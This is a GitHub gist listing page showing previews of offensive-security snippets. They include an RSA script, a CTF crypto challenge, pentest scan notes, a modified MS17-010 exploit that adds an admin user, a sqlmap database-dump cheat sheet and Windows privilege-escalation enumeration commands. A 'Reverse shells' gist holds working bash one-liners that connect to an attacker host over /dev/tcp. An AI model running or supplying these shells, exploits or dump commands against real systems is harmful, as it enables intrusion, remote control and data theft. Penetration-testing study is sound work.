Skip to content

Instantly share code, notes, and snippets.

@Hackalicious
Hackalicious / main.py
Created July 31, 2019 17:42 — forked from marnix135/main.py
Simple RSA implementation in Python
import random
import math
class RSA:
def __init__(self):
self.e = self.d = self.p = self.q = self.phi = 0
def __egcd(self, a, b):
if a == 0:
return (b, 0, 1)
@Hackalicious
Hackalicious / crypto_backdoor.py
Created June 15, 2019 07:00 — forked from hellman/crypto_backdoor.py
Google CTF 2017 Quals - Crypto Backdoor
def I(s):
val = 0
for i in range(len(s)):
digit = ord(s[len(s) - i - 1])
val <<= 8
val |= digit
return val
def Sn(i, length):
s = ''

Notes

Enumeration

Scan IPs to a CSV file:

cd /mnt/hgfs/Shared/Exam
mkdir hosts
ruby scan.rb tcp 10.11.1.220 10.11.1.221 10.11.1.44 10.11.1.218 10.11.1.219
ruby scan.rb udp 10.11.1.220 10.11.1.221 10.11.1.44 10.11.1.218 10.11.1.219
@audibleblink
audibleblink / hpb3_links.txt
Last active August 15, 2025 20:19
All links from Hacker Playbook 3, with bit.ly links unfurled
@thel3l
thel3l / ms17-010_sleepya-fixed.py
Created June 25, 2018 04:06
Modified version of Sleepya's MS17-010 exploit to create and add a user to the administrative group
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
@jkullick
jkullick / sqlmap-cheat-sheet.md
Last active November 10, 2024 16:50
SQLMap Cheat Sheet
# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
@sckalath
sckalath / reverse_shells
Created November 7, 2014 03:14
Reverse shells
#bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#bash alt
exec /bin/bash 0&0 2>&0
#bash alt 2
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
#bash alt 3
@sckalath
sckalath / windows_privesc
Last active October 2, 2025 07:43
Windows Privilege Escalation
// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
// Get the hostname and username (if available)
hostname
echo %username%
// Get users
net users
net user [username]